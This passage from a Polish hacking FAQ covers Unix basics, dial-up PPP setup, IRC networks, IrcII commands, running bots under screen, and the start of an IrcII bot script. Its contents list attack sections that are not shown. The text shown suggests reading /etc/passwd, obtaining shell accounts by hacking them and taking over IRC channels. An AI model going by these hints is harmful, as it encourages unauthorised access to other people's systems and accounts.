------------------------------------------------------------------------------
SLABIK SLABIK SLABIK SLABIK SLABIK SLABIK SLABIK SLABIK SLABIK SLABIK SLABIK
______________________________________________________________________________
__                                                                          __
__                           SLABIK FAQ ver. 1.1                            __
__                                                                          __
__  Na poczatek: Nie ponosze odpowiedzialnosci za zadne skutki,wynikajace   __
__  z niewlasciwego korzystania z tego FAQ. Wszystko co robisz, robisz na   __
__  wlasna odpowiedzialnosc !!!                                             __
__                                                                          __
__                                      Conntact : stoned@friko4.onet.pl    __
__                                                                          __
-------------------------------------------------------------------------------
FAQ FAQ FAQ FAQ FAQ FAQ FAQ FAQ FAQ FAQ FAQ FAQ FAQ FAQ FAQ FAQ FAQ FAA FAQ FAQ
_______________________________________________________________________________

    Dlugo zastanawialem sie by napisac ten FAQ, mysle jednak ze, znajdzie sie
ktos, komu przydadza sie informacje zawarte w nim. Nie opisywalem wielu metod,
szczegolow i spraw ktore opisane sa w innych FAQ, bo mysle, ze nie ma sensu
powielac tych informacji skoro mozna je znalezc gdzie indziej.
  Zamiescilem tu troszke informacji o hacku, krotkie wprowadzenie do systemu
UNIX, krotkie info na temat IRC, opis IrcII i kilka innych praktycznych rzeczy.
Wiekszosc informacji pochodzi ode mnie, sa tez takie ktore pochodza z innych
zrodel, ale jak juz wspomialem staralem sie nie powielac tych informacji. 
W kazdym razie nie jest to kserokopia zadnych innych znanych FAQ.

A wiec do konkretow! ;)

-=SPIS TRESCI=-

I PODSTAWY SYSTEMU UNIX
1.1 Krotka historia UNIX-a
1.2 UNIX jako system, zalety
1.3 Podstawowe komendy UNIX-a
1.4 Instalacja Linuxa i ustawienia dla TPSA
1.5 Podstawowe wiadomosci na temat Linuxa

II IRC 
2.1 Krotkie info na temat IRC
2.2 Polecenia IrcII
2.3 Jak postawic bota
2.4 Scrypty do IrcII

III HACKING - PODSTAWY
3.1 Hackerskie zasady
3.2 Od czego zaczac 
3.3 Twoje glowne zadanie
3.4 Metody lamania systemu - wprowadzenie
3.5 Sposoby na poprawienie sobie bytu

IV HACKING - METODY
4.1 Scanowanie dziur serwera
4.2 Wysylanie fakemaili
4.3 Bugi w sendmailu
4.4 Sendmail scanner
4.5 Dziury WWW
4.6 Scanner dziur WWW
4.7 Metoda na roota z core
4.8 Prosty Backdoor
4.9 Kon trojanski passwd 

V HACKING - BEZPIECZENSTWO
5.1 Bezpieczenstwo
5.2 Jak hackowac bezpiecznie - zacieranie sladow
5.4 Co zrobic, gdy jestes podejrzany

VI DODATKI
6.1 Lista serwerow udostepniajacych bezplatne konta
6.2 Inne polskie serwery 




1.1 Krotka historia UNIX-a

Dawno temu, w polowie lat 60-tych grupa facetow z laboratoriow Bell firmy AT&T

pomyslala sobie, ze fajnie by bylo napisac jakis nowy system operacyjny
o nazwie Multics. System ten skonczyl swoj zywot w latach 1969,  kiedy Bell
odcial doplyw funduszy,lecz kilku autorow z wyjsciowej grupy dalej kontynuowa-
lo prace nad czyms co pozniej otrzymalo nazwe UNIX i zrobilo zawrotna kariere 
w AT&T. We wczesnych latach 80 - tych stworzono nowe wersje UNIXA o nazwie
System III, i System V. Przez kolejne lata powstawaly nowe ulepszone wersje,
a obecnie sa ich dziesiatki. Do najpopularniejszych naleza:  Berkeley, CPIX,
FOS, Genix, HP-UX, IS/I, OSx, Sys3,PC-IX, PERPOS, Ultrix, Zeus, Xenix, UNITY,
VENIX, UTS, Unisys, Unip lus+, UNOS, Idris, QNIX, Coherent, Cromix, Sixth
edition, FreeBSD (Darmowy) czy w koncu Linux (Darmowy) i to w kilku edycjach:
Debian, Red Hat, czy tez Slackware.

1.2 UNIX jako system operacyjny, zalety

UNIX jako system operacyjny bardzo szybko zyskal sobie popularnosc
uzytkownikow. Do najwazniejszy jego zalet naleza:

- 32-bitowosc, wykorzystuje pelnie mocy obliczeniowej CPU,w przeciwienstwie do
  16-bitowych systemow DOS
- Wbudowany kompilator C, C++
- Nie ma ograniczen w wykorzystywaniu pamieci, wykorzystuje cala pamiec RAM w
  przeciwienstwie do DOS-a ktory ma ograniczenie do 640k
- Obsluga podstawowych protokolow TCP/IP slip lub ppp
- Graficzny interfejs uzytkownika X-Windows.
- Stabilnosc w dzialaniu

1.3 Podstawowe komendy UNIX-a

at       - [czas] [data] <[plik] wykonywanie czynnosci w zadanym czasie
cal      - wyswietla kalendarz
cat      - przeglada plik cos w stylu dosowego type. np: cat /etc/passwd ;)
cd       - zmiana katalogu,  cd .. cofanie sie
chfn     - zmienia informacje fingera
chmod    - [mode] [plik] - zmiana dostepow do pliku.
chown    - [nick] [plik] - zmiana wlasciciela pliku. 
clear    - czyszczenie zawartosci ekranu    
cmp      - [plik] [plik] - porownywanie zawartosci dwoch plikow
cp       - [plik] [plik] - kopiowanie plikow
date     - wyswietlanie biezacej daty
df       - disk free , pokzuje ilosc miejsca na dysku
diff     - [plik] [plik] - pokazywanie roznicy miedzy dwoma plikami.    
echo     - wyswitla tekst, zmienne, wyniki dzialania programu
find     - [poczatek] -name [nazwa] - poszukiwanie plikow 
finger   - [username] - informacje o uzytkowniku.
ftp      - program ftp kilka najwazniejszych komend:
	   open host ,get [plik] pobierz plik, send [plik] wyslij plik, hash-
	   wyswietlanie # po 1024 bajtach, bye konczy sesje, help pomoc
gcc      - [plik] kompilacja cc
g++      - [plik] kompilacja c++  
grep     - [wyraz] [nazwa pliku] - przeszukiwanie plikow za jakims wyrazem.
gunzip   - guznip [plik] - dearchiwizacja
help     - pomoc
irc      - uruchomienie klienta irc. (zazwyczaj IrcII )
kill     - ma powiazania z ps , moze zabijac procesy w pamieci korzystjac z
	   numeru PID. kill PID, lub kill -9 PID ( patrz ps)
last     - [nazwa uzytkownika] - sprawdza logi uzytkownika
lastcomm - [nazwa uzytkownika] - sprawdza co ostatnio robil uzytkownik.
ln       - [plik] [plik]- link , w stosunku do katalogow , link symbol. -s
logout   - wylogowanie sie
ls       - wyswietla pliki i katalogi ls -l daje wiecej info, -a - ukryte 
	  
man      - [komenda] - szczegolowa pomoc na temat konkretnej komendy
mail     - czytanie poczty
mesg     - zablokowanie lub odblokowanie wywolywania komunikatow
mkdir    - [katalog]tworzenie nowego katalogu.
mount    - [/dev/urzadzenie] [katalog docelowy] montowanie danego urzadzenia
mv       - [plik] [plik] -zmiana nazwy pliku, lub przeniesienie do innego kat.
passwd   - zmiana hasla uzytkownika.
ps       - pokazuje co robisz w pamieci i jaki to ma numer (PID)
	   PID  TTY  NAME
	   155  001  tcsh
	   200  001  watch
	   mozna uzywac przelacznikow -l, -aux
pwd      - pokazuje bierzacy katalog
rm       - [plik], kasuje plik ( rm -r )
rmdir    - kasuje katalog gdy jest pusty.
rwho     - to samo co who.
set      - ustawienie zmiennych set
screen   - odpalenie procesu w tle, by wyjs nie zakanczajac sesji
	   ctrl+a, ctrl+d -> deatched , screen -x , screen -r pid -> atached
shutdown - shutdown now, shutdown -rfn now, reset
size     - wyswietlenie wielkosci pliku
sleep    - zawieszenie procesu na podana liczbe sekund
talk     - program do prowadzenia rozmow
tar      - tar -xvf plik.tar - roztarowywanie pliku.
	 - archiwizacja - tar -cvf [plik]
telnet   - praca na zdalnym komputerze 
umount   - ma scisly zwiazek z mount, odmontowanie urzadzenia.
w        - [nazwa uzytkownika] - sprawdza co robi uzytkownik
who      - wypisuje info o zalogowanych uzytkownikach.
who am i - kto ja jestem ( lub whoami)
write    - [login][term] - pisanie do innego zalogowanego uzytkownika.

1.4 Instalacja Linuxa i ustawienia dla TPSA 

  Instalacja zazwyczaj bywa prosta i ogranicza sie  do znajomosci podstawowych 
komend i nie duzej zdolnosci myslenia ;)
Przewaznie zaczyna sie od zrobienia dyskietki 'bootdisk', odpowiedniego
pociecia dysku na partycje i dodanie partcji ext2 i swap ( fdisk, diskdruid).
Minimalne wymagania dyskowe to okolo 100 MB, osobiscie polecam poswiecic na 
ten cel okolo 300 mb i wiecej.Na partycje swap przeznaczamy okolo 2x wiecej 
miejsca niz mamy pamieci RAM. Kolejnym krokiem jest podanie dysku zrodlowego 
i docelowego ,wybranie odpowiednich pakietow do instalacji, konfiguracja 
Xservera i na koncu zainstalowanie Linux Loadera (lilo). Polecam rowniez 
utworzenie sobie dyskietki awaryjnej, gdyz na poczatku roznie to bywa... ;)
  Instalacja raczej nie sprawia klopotu, natomiast wiekszym problemem bywa dla
niektorych konfiguracja polaczen dla TPSA ;) Dlatego na prosbe wielu znajomych
zamieszczam dokladny opis ustawien. Podstawa oczywiscie jest to, by jadro sy-
stemu zawieralo skompilowana obsluge PPP. 

Dla posiadaczy RedHata wystarczy odpowiednio skonfigurowac netconfig 
w X-windows, wyglada to nastepujaco:

NAMES
Hostname:jakis_host
Domainname: linux.net
Search for: www.tpsa.pl
Nameservers: 194.204.152.34, 194.204.195.1 (wazne!)

HOSTS
IP 0.0.0.0     ; NAME cos_tam       ; NICKNAMES cos_tam

INTERFACES
INT       IP           PROTO      ATBOT           ACTIVE
lo        127.0.0.1    none       yes             nonactive
ppp0        0.0.0.0    none       no              active/nonactive *

* active wybieramy w momencie laczenie, deactive w momenncie rozlaczenia.

EDIT ppp0 

HARDWARE
Line speed: 115200, port: /dev/cuax ( x = 1 dla COM2, x=2 dla COM3 itd..)
Options: none

COMMUNICATE
ATZ, ATDP 0w202122 (pulse), ATDT 0202122 (tone)

Expect:        Send:
Username:      ppp
Password:      ppp 

* wazne poczatkowe wielkie litery
 
NETWORK local IP: 0.0.0.0

ROUTING
Inter..:    /dev/cuax
Netaddress: tpsa
Net mask:   255.255.255.0
Gate..:     0.0.0.0

# end

Zabawa w takie konfigurowanie to oczywiscie lameriada o wiele szybciej mozna
skonfigurowac PPP edytujac odpowiedni plik - /etc/resolv.conf

-- CUTE HERE --

domain linux.net
hostname www.tpnet.pl
search for www.tpsa.pl
nameserver 194.204.152.34
nameserver 194.204.195.1

-- CUTE HERE --

I teraz mozemy sie polaczyc wykorzystujac minicom, lub dwa bardzo uzyteczne
programy pppd i chat. Napisalem dwa krotke scrypty ktore zautomatyzuja reczne 
potwierdzenie autentycznosci :

-- CUTE HERE --

# tpsa
/usr/sbin/pppd connect $HOME/tpsa_2 \
/dev/cuax 115200 crtscts cuax noipdefault defaultroute

-- CUTE HERE --

-- CUTE HERE --

# tpsa_2
/usr/sbin/chat -v ABORT BUSY "" ATZ OK ATDP0w202122 \
'Username:' ppp 'Password:' ppp

-- CUTE HERE --

  Nalezy pamietac o nadaniu plikom odpowiedniego atrybutu (chmod +x) ;)
Polaczenie mozemy sprawdzic wywolujac: ifconfig, poprawne uruchomienie serwisu
PPP,  powinno wygladac tak:

lo        Link encap:Local Loopback  
	  inet addr:127.0.0.1  Bcast:127.255.255.255  Mask:255.0.0.0
	  UP BROADCAST LOOPBACK RUNNING  MTU:3584  Metric:1
	  RX packets:20 errors:0 dropped:0 overruns:0 frame:0
	  TX packets:20 errors:0 dropped:0 overruns:0 carrier:0 coll:0

ppp0      Link encap:Point-to-Point Protocol  
	  inet addr:194.204.139.63  P-t-P:194.204.139.4  Mask:255.255.255.0
	  UP POINTOPOINT RUNNING  MTU:1500  Metric:1
	  RX packets:7 errors:0 dropped:0 overruns:0 frame:0
	  TX packets:8 errors:0 dropped:0 overruns:0 carrier:0 coll:0

	 * Twoj IP to 194.204.139.63

Warto tez pamietac o odpowiednim ustawieniu portu, /dev/cuax. Z powodu tego
za maksymalna predkosc portu wynosi 9600bps, a modemy sprzetowo moga kompreso-
wac tylko do 4 razy nalezy ustawic kompresje programowa:

setserial /dev/cuax spd_hi  - dla modemow 14400 bps
setserial /dev/cuax spd_vhi - dla modemow powyzej 28800 bps

mozna dodac to do jakiegos pliku startowego np. /etc/profile

1.5 Podstawowe wiadomosci na temat UNIXA
 
  Podstawowym elementem systemu UNIX jest jadro (kernel).To ono odpowiedzialne
jest za podstawowe operacje systemowe i dyskowe systemu.Nastepnym elementem sa 
biblioteki. Elemenyem posrednim miedzy uzytkownikiem a systemem jest powloka
(shell).Role powloki w systemie DOS pelni command.com.Znanych jest wiele typow
shelli: np. zsh, pdksh, sh, tcsh i bash  
Administratorem systemu jest root. Root ma prawo decydowac o wszystkim. On 
nadaje userom uprawnienia, dodaje nowych uzytkownikow, konfiguruje system.
Linux posiada "strukture plikow i katalogow". Podlegaja one pewnym zasadom
podobnie jak w Dosie, jednakze jest tu kilka roznic. Pliki w dosie maja format
8.3, czyli osiem znakow na nazwe 3 na rozszerzenie. W Linuxie nazwa pliku
(katalogu) moze miec nazwe do 255 znakow(ext2) i zawierac dowolna licze kropek
 i innych dowolnych znakow np. To.jest.bardzo.dlugi.plik. Ponadto w Linuxie
rozrozniane sa male i wielke litery. To znaczy plik i Plik to dwa rozne pliki.
Pliki rozpoczete od znaku "." sa plikami ukrytymi. Plik ukryty nie pokaze sie
po wydaniu polecenia ls.Pliki wykonywalne nie maja rozszezen *.bat *.com *.exe
W systemie UNIX, plik jest wykonywalny jesli posiada atrybut execute (+x)
Mowiac o atrybutach nalezy przyblizyc to pojecie. Postaram sie wyjasnic zasade
praw dostepu do plikow i katalogow.

Wydajac polecenie ls -l wyswietli sie cos w stylu :

-rw-r--r--   1 500      root        51733 Nov 19 02:42 BitchX.help
-rw-r--r--   1 500      root         3971 Sep 12  1997 BitchX.quit
-rw-r--r--   1 500      root        25777 Sep 12  1997 BitchX.reasons
-rw-r--r--   1 500      root         1270 Nov  8 07:59 COMPILE-PROBLEMS
-rw-r--r--   1 500      root       148132 Nov 19 02:28 Changes
-rw-r--r--   1 500      root         7049 Jul  1  1997 INSTALLATION
-rw-r--r--   1 500      root         7042 Apr 29 22:27 Makefile
-rw-------   1 500      root         6960 Oct 20  1997 Makefile.in
drwxr-xr-x   4 500      root         1024 Nov  8 00:01 OS2
drwxr-xr-x   4 500      root         1024 Nov  8 00:00 WinNT

Pierwsza kolumna z lewej to wlasnie prawa dostepu dla dla roota, users, others.

r - read , w - write , x - execute

Prawa nadaje root, lub wlasciciel pliku ( chown zmiana wlasciciela ).
Zmiane atrybutow dokonuje sie poleceniem chmod.
Czesto spotykamy sie z okresleniem dostepu; 777, 755, 711 itp.
Co te liczby nam mowia?

 root  users  others
|r|w|x||r|w|x||r|w|x|

 4+2+1  4+2+1  4+2+1

A wiec liczba 777 mowi nam o pelnym dostepie do plikow dla wszystkich.
Liczba 700, wskazuje nam na pelny dostep dla roota i  braku dostepu dla
pozostalych itd. Jesli na  poczatku wystapi -d oznacza to katalog.
Dla pliku, x oznacza mozliwosc uruchmienia go, dla katalogu - mozliwosc 
wejscia w katalog. Czeto spotykamy sie z roznymi innymi znakami np: l, b, c,
maja one troche inne znaczenie i czesto oznaczaja symboliczne dolaczenie,
urzadzenie blokowe, urzadzenie znakowe itp.

W systemie UNIX , katalogiem glownym jest / , standardowa struktura katalogow
wyglada mniej wiecej tak :

/bin - Katalog ten zawiera polecenia i programy systemowe UNIX-a

/dev - Zawiera wszystkie urzadzenia.

/etc - Zawiera pliki konfiguracyjne

/home - Znajduja sie tu katalogi osobiste wszystkich uzytkownikow systemu

/sbin - Zawiera oprogramowanie Unixowe ( w wiekszosci dla administratora)

/root - Katalog osobisty roota ( W starszych systemach bylo /home/root)

/usr  - programy i pliki ogolnodostepne, gry, pomoc, dokumentacja

/lib  - biblioteki systemowe

/var  - katalog tymczasowy zawierajacy logi itp.

/tmp  - katalog tymczasowy systemu UNIX 

Oczywiscie katalogow tych moze byc o wiele wiecej, a struktura moze wygladac
nieco inaczej, zalezy to jednak od systemu i jego administratora ;)
Urzadzenia w systemie UNIX sa zdefiniowane prze odpowiednie pliki znajdujace
sie w katalogu /dev. A wiec kazde urzadzenie przypisany ma odpowiedni plik.
Jak podpiac dyski, stacje dyskietek czy tez CD-ROM do systemu?
Sluzy do tego celu polecenie mount

mount opcje /dev/XXXXX /mnt/katalog

Na poczatek nalezalo by sie zastanowic z jakich urzadzen bedziemy
korzystac najczesciej i stworzyc sobie odpowiednie katalogi w /mnt np.
cdrom, floppy, dysk itd.

XXXXX oznacza odpowiednie urzadzenie na kontrolerze ide lub scsi
Ponizsza tabela pomoze odpowiednio zdefiniowac urzadzenie

________________________________________________________________
 Typ urzadzenia                              Nazwa urzadzenia
________________________________________________________________

* IDE na kontrolerze 0 - primary                  /dev/hda
* IDE na kontrolerze 0 - secondary                /dev/hdb
* IDE na kontrolerze 1 - primary                  /dev/hdc 
* IDE na kontrolerze 1 - primary                  /dev/hdd
* SCSI pierwszy                                   /dev/scd0
* SCSI drugi                                      /dev/scd1
* Floppy                                          /dev/fd0
________________________________________________________________
      
Jesli dysk podzielony jest na partycje, wtedy nazwa urzadzenie nazywa sie
odpowiednio do przydzielonej partycji np /dev/hda1, /dev/hda2 itd.

By zamontowac CD-ROM nalezy uzyc dodatkowych opcji:
mount -t iso9660 XXXXX /mnt/cdrom

2.1 Krotkie info na temat IRC

Co to jest IRC chyba nikomu tlumaczyc nie trzeba ;)
Jednak zastanowmy sie jak funkcjonuje siec IRC.

	   Schemat najprostszej sieci IRC 
 
	 _________      _________     _________
	| KLIENT1 |____| SERWER2 |___| KLIENT3 |
	|_________|    |_________|   |_________|
			   |
	 _________      ___|_____     _________
	| SERWER1 |____| SERWER3 |   | KLIENT4 |
	|_________|    |_________|   |_________|
	     |             |   __________|
	 ____|____      ___|__|__     _________
	| KLIENT2 |    | SERWER4 |___| KLIENT5 |
	|_________|    |_________|   |_________| 

  A wiec IRC to siec wielu serwerow i podlaczonych do nich klientow.
Mowiac, o sieci nalezy wspomiec tez o netsplitach wystepujacych miedzy
poszczegolnymi serwerami. To ciekawe zjawisko mozna wykorzystac na przyklad..
do przejecia kanalu. Nie bede opisywal tej metody,bo napewno jest ona kazdemu
dobrze znana, odsylam do innych FAQ. Z zasady serwery IRC to maszyny pracujace
na systemach UNIX. Sa one nadzwyczaj dobrze zabezpieczone - udostepnione sa 
tylko porty dla IRC, chociaz zdarzaja sie od czasu do czasu wlamania .
Na przyklad ostatnio byla proba wlamania sie do servera gothic.dal.net i..
udalo sie ;)
  Znanych jest wiele sieci IRC. Jedna z najstarszych grup byl EFnet.
Zyskal sobie bardzo duzo popoularnosc i urosl do takich rozmiarow ze musial
sie podzielic. Pod nazwa EFnet kryje sie siec serwerow amerykanskich i
europejskich. Do sieci amerykanskiej nalezy tez wiele serwerow kanadyjskich
czy australijskich. Do sieci europejskiej naleza rowniez serwery z polski :

 - krakow.irc.pl
 - poznan.irc.pl
 - warszawa.irc.pl
 - lublin.irc.pl

Inne serwery europejskie i amerykanskie nalezace do tej grupy to:

 - irc.funet.fi
 - irc.nada.kth.se
 - irc2.magic.ca
 - irc.phoenix.net

Inna znana siecia IRC jest UNDERNET. Jest ona bardziej zorganizowana niz
EFnet i wprowadzono do niej wiele udogodnien np. NickServ.

Najpopularniejsza chyba obecnie siecia jest jednak DALnet. Siec ta powstala
na poczatku roku 1995. Jej zalozycielem byl Dalvenjah FoxFire, ktoremu nie
podobala sie pewnie siec EFnet i postanowil uruchomic wlasna ;) Jego celem
bylo zaprowadzenie porzadku i organizacji. Wprowadzil dostepne serwisy tj.
ChanServ, NickServ, MemoServ, HelpServ. Siec ta skupia dziesiatki serwerow
amerykanskich i europejskich. W Polsce niestety nie ma jeszcze serwera IRC,
ale doszly mnie sluchy ze niektorzy nad tym pracuja ;) By przylaczyc sie do
takiej sieci trzeba spelniac szereg wymagan postawionych przez operatorow
tych sieci. Szerzej opisane jest to na stronie Dalnetu.

Najpopularniejsze serwery IRC ssieci DALnet:

 - liberator.dal.net 6668, 7000
 - voyager.dal.net 6668-7000
 - phoenix.dal.net 7000-7003
 - toronto.dal.net 6667-7000
 - spider.ca.us.dal.net 6667,6669

Znane sa rowniez inne mniejsze grupy IRC

 - ICEnet (acid.uk.icenet.org ; phat.us.icenet.org 6667)
 - newnet (irc.ucs.net ; irc.mol.net.my ; irc.limited.net)
 - FEFnet (irc.limited.net 6667)
 - GalaxyNet (atlanta.ga.us.galaxynet.org 6667)
 - StarLink (glen.vc.au.starlink.org)

2.2 Polecenia IrcII

/join <#kanal> - Wejscie na odpowiedni kanal, i utomatyczne wyjscie jesli
uzytkownik znajduje sie juz na innym kanale. ( zobacz set novice )

/leave <#kanal> - opuszczenie biezacego kanalu. Zamiast leave mozna podac
* co oznacza aktualny kanal

/msg  - wysylanie prywatnych tekstow do wybranej osoby

/nick  - zmiana biezacego nicka

/who  - informacje o osobach na wybranym kanale

/whois  - informacje na temat wybranej osoby

/quit  - zakonczenie, i wyjscie z sieci

/kick  - po prostu kop

/admin  - wyswietla informacje o serwerze

/alias   - bardzo pozyteczne polecenie pozwalajace na
			     tworzenie skrotow np. alias j join spowoduje
			     po wpiasaniu /j #jakis_kanal wejscie na kanal

/away  - sluzy do informowania innych o naszej zajetosci

/bind  - sluzy do tworzenia skrotow klawiszowych

/clear - czysci zawartosc ekranu

/ctcp - Client To Client Protocol - bezposrednie polaczenie miedzy klientami

/ctcp  ping - podaje czas w sekundach o wyslaniu informacji do danej
		    osoby, i powrot
 
/ctcp  vrsion - informacje o wersji klienta z jakiego korzysta osoba

/ctcp  time - podaje lokalny czas u osoby

/ctcp  ginger - wyswietla dodatkowe informacje o uzytkowniku

/date - wyswietla aktualna date oraz godzine

/dcc - Direct Client Connection

/dcc  send  - wyslanie pliku do danej osoby

/dcc  chat - bezposrednie polaczenie z osoba bez uzycia serwera

/exec  wykonuje jakies zewnetrzne polecenie 

/ignore   - ignoruje informacje przychodzace od danej osoby

 PUBLIC -ignoruje wypowiedzi publiczne, danej osoby skierowane na kanal

 MSG - ignoruje wypowiedzi danej osoby na msg

 NOTICES - ignoruje komunikaty typu notice
 
 NOTES - ignoruje komunikaty typu note

 INVITES - ignoruje zaproszenia na kanal

 WALLOPS - ignoruje komunikaty dla operatorow

 CTCP - ignoruje wszystkie komunikaty CTCP

 CRAP - ignoruje wszystko to co powyzej wymienione
 
 ALL  - ignoruje wszystko od danej osoby

 NONE - wylacza ignorowanie osoby

/lastlog - wyswietla ostatnie otrzymane komunikaty (ile,zalezy od ustawien)

/load  - ladowanie scryptu

/lusers - wyswietla krotka statystyke dotyczaca sieci irc

/mode / +/- -ustawienie statusu kanalu,lub atrybutow nicka

/motd - wyswietla wiadomosc dnia

/names  - podobnie jak who

/notify  - dodaje nick do listy osob o pojawieniu sie ktorych chcemy
		 byc automatycznie informowani.( '-' usuwa nicka z listy)

/on  - jedno z najwazniejszych polecen przy pisaniu 
			   scryptow. Pozwala na automatyczne reagowanie na 
			   jakies zdarzenie

/query  - powoduje przejscie w tryb stalej rozmowy z dana osoba, nie
		trzeba za kazdym razem pisac /msg nick (samo /query wylacza)

/redirect  - przesyla wynik komendy na podany kanal lub
				  do danej osoby. Mozna laczyc z /exec np.
				  /redirect /exec ps -aux #polcafe

/save  - zapisuje ustawienia programu IrcII do pliku, jesli
		      nazwa nie zostala podana, to plikiem bedzie: .ircrc

/server  - laczy nas z podanym serwerem

/set   - ustawia zmienne programu

 HELP_PATH - wskazuje na katalog w ktorym znajduje sie plik z pomoca

 HOLD_MODE - ustawione na ON powoduje, ze ekran automatycznie sie przewija
	     po zapelnieniu tekstem.

 LASTLOG - definiuje ilosc lini wyswietlanych poleceniem lastlog
 
 LOG - wlacza lub wylacza zapisywanie do pliku, standardowy plik - IrcLog

 LOGFILE - nazwa pliku do ktorej bedzie zapisywany LOG

 NOVICE - standardowo ustawione na off, co ogranicza wiekszosc operacji
	  zalecane ustawic na ON

 REALNAME - tekst jaki jest wyswietlany przy komendzie /whois

/topic   - zmienia temat kanalu ( jesli kanal ma +t wymaga @)

/version  - wersja klienta danej osoby

/whowas  - krotkie info o osbie ktora byla na IRC, ale juz jej nie ma

/window - szereg komend do ustawiania parametrow okna

  To tylko kilka najwazniejszych komend. By ulatwic sobie zycie polecam
zaladowac jakis ciekawy scrypt, ktory zautomatyzuje wiekszosc operacji.
Taki scrypt zamiescilem ponizej.(punkt 2.4) Ma on wbudowanych wiele opcji,
odpowienio ustawione zmienne, rejoin, autoop, autoignore i wiele innych.
Wazna rzecza jest rowniez ustawienie zmiennych srodowiskowych w systemie UNIX

Oto kilka najwazniejszych :

IRCNICK - domysle ustawienie nicka, przy kazdym uruchamianiu IrcII

IRCNAME - domyslne ustawienie tekstu ktory wyswietlany jest przy /whois

IRCSERVER - domyslne ustawienie servera z ktorym bedziemy sie laczyc

IRCPATH - specyfikuje katalog z ktorego pobierany bedzie plik przy /load

TERM - okresla typ terminala, moze to byc np. vt100 ;)

Ustawienie zmiennych zalezy od powloki jakiej uzywasz, w wiekszosci
przypadkow dziala takie polecenie:

=;export np.

IRCNAME="Jestem sobie Slabik ;)";export IRCNAME

W przypadku innych powlok dziala polecenie :

setenv   np:

setenv IRCNAME "Jestem sobie Slabik ;)"

2.3 Jak postawic bota

  Odpowiedz jest prosta, polaczyc sie z internetem odpalic jakis program IRC,
i zostawic odpalona sesje np. na 24 h ;) Nie chcial bym byc jednak  w skorze
tego ktory bedzie placil za rachunek telefoniczny. Chyba, ze oczywiscie ktos
ma lacze dzierzawione ;) No ale nie w tym rzecz. Jak postawic bota rozlaczajac
sie, a nie zamykajac sesji IRC.? Metod jest kilka, ja podam jedna z najpro-
strzych, i najczesciej stosowanych. Na poczatek trzeba miec jakiekolwiek konto
UNIX-owe z dostepem do  shella i.. screena. Mozna sobie wykupic takie konto,
za pare zlotych miesiecznie,mozna shackowac albo skorzystac z bezplatnych kont.
Na koncu trgo FAQ zamiescilem kilka serwerow udostepniajcych bezplatne konta.
Jak dziala screen? Screen to program umozliwiajacy zostawianie otwartej sesji
na serwerze.Tak, ze laczac sie z zdalnym serwerem odpalamy screena,uruchamiamy
jakis program, rozlaczmy sie a program kontynuuje prace. Screena mozna wyko-
rzystac do innych fajnych rzeczy, nie koniecznie do stawiania bota, np. mamy
do sciagniecia jakis duzy plikna 50Mb. Odpalamy screen, ftp i ciagniemy. Moze-
my sie rozlaczyc,  a po ponownym polaczeniu plik bedzie sciagniety, pod waru-
nkiem, ze mamy takie duze konto ;))) Ale do rzeczy, mialo byc o botach.
A wiec odpalamy program screen komenda screen.Uruchamiamy program irc,ladujemy
jakis ciekawy scrypt,i mozemy sie rozlaczyc. Sluzy do tego kombinacja klawiszy
Ctrl+a, Ctrl+d. Program przechodzi do pracy w tle ( deatched ). Aby powrocic
do niezakonczonej sesji, laczymi sie ponownie i piszemy screen -x, lub -r PID,
jesli odpalonych jest wiecej procesow w tle niz jeden.Screen -wipe zabija proc.
Uwaga! stawianie botow, nie mile jest widziane prze administratorow sieci IRC,
a nawet zabronione. Dlatego trzeba robic to ostroznie. Rowniez wykrycie screena 
dla administratora nie jest zadnym problemem. Dlatego nie pisze tego, by kazdy
teraz stawial sobie bota, bo nie milo sie rozmawia z botami. Niech informacje
te posluza jako ciekawostka edukacyjna ;)))

2.4 Scrypty do IrcII 

Ponizej zamieszczam ciekawy scrypt ktory, zautomatyzuje wiekszosc wykonywanych
operacji, ma wiele funkcji i nadaje sie jako scrypt do bota ;)
 
-- CUTE HERE --
### Begin of Script ###

### Testowany na IrcII 2.8.2, 2.9 
		 

@version = [v1.1]
@updatum = [04.04.1998]
@Gi = [[slab fucker]]
@G = [$Gi\]

bind ^U erase_line
bind ^W parse_command win move 1
bind ^L switch_channels
bind ^X next_window
bind ^B self_insert
bind ^_ self_insert
bind ^V self_insert
bind ^R parse_command refresh_all
bind ^K erase_to_end_of_line
bind ^T erase_to_beg_of_line
bind ^Y yank_from_cutbuffer
bind ^A scroll_start
bind ^E scroll_end
bind ^N scroll_forward
bind ^P scroll_backward
bind ^O enter_digraph
bind ^I parse_command ^tk.getmsg 1 $tk.msglist
bind ^F parse_command ^tk.getmsg -1 $tk.msglist
bind ^D parse_command tk.delnick
bind ^C quit_irc
bind ^Z stop_irc
bind ^[ meta1
bind meta1-[ meta2
bind meta2-A backward_history
bind meta2-B forward_history
bind meta2-C forward_character
bind meta2-D backward_character
bind meta1-^[ command_completion
bind meta1-b beginning_of_line
bind meta1-e end_of_line
bind meta1-m parse_command hold
bind meta1-s parse_command /!$"Search for: "
bind meta1-) type_text  :-)
bind meta1-( type_text  :-(
bind meta1-; type_text  ;-)
bind meta1-8 type_text  8-)
bind ^[P type_text  :-P
bind meta1-p nothing
bind ^[d type_text  d:-)
bind ^[| type_text  :-|
bind ^[i parse_command floodprot $laatstenick $laatstehost $laatsteuser
bind ^[I parse_command floodprot $laatstenick $laatstehost

^set display on
^set novice off
^set input_protection on
^set inverse_video on
^set bold_video on
^set underline_video on
^set mail 1
^set flood_rate 8
^set flood_after 8
^set flood_users 8
^set beep_max 5
^set status_user  
^set status_channel  %C
^set status_hold  -- MORE:  --
^set beep off
^set status_window ^
^set auto_unmark_away off
^set show_channel_names on
^set channel_name_width 12
^set auto_whowas on
^set show_away_once on
^set show_who_hopcount on
^set input_prompt $T>
^set warn_of_ignores on
^set exec_protection on
^set send_ignore_msg off
^set scroll on
^set notify_on_termination off
^set clock on
^set clock_24hour on
^set hide_private_channels off
^set indent on
^set continued_line  
^set lastlog_level all
^set lastlog 8192
^set -translation
eval ^set status_format [%R]%T %*%@%N%#%S%H%Q%A%C%+%I%O%M %W%> $Gi

on ^376 * /info
on #-raw_irc 212 "*!*@* *" {
	if (![$isignored($0)]) {
		if ([$left($index(! $0) $0)]!=[$N]) {
		@ helenaam = [$0]
		@ lengtenick = [$index(! $0)] + 1
		@ lengteuser = [$index(@ $0)] - [$lengtenick]
		@ lengtehost = [$@helenaam] - [$index(. $0)]
		@ laatstenick = [$left($index(! $0) $0)]
		@ laatsteuser = [$strip(~ $mid($lengtenick $lengteuser $0))]
		@ laatstehost = [$mid($index(. $0) $lengtehost $0)]
		}
	}
}
on #^mode 23 * if ([$0]!=[$N]) {banprot $0-}{}
on ^msg "*" {
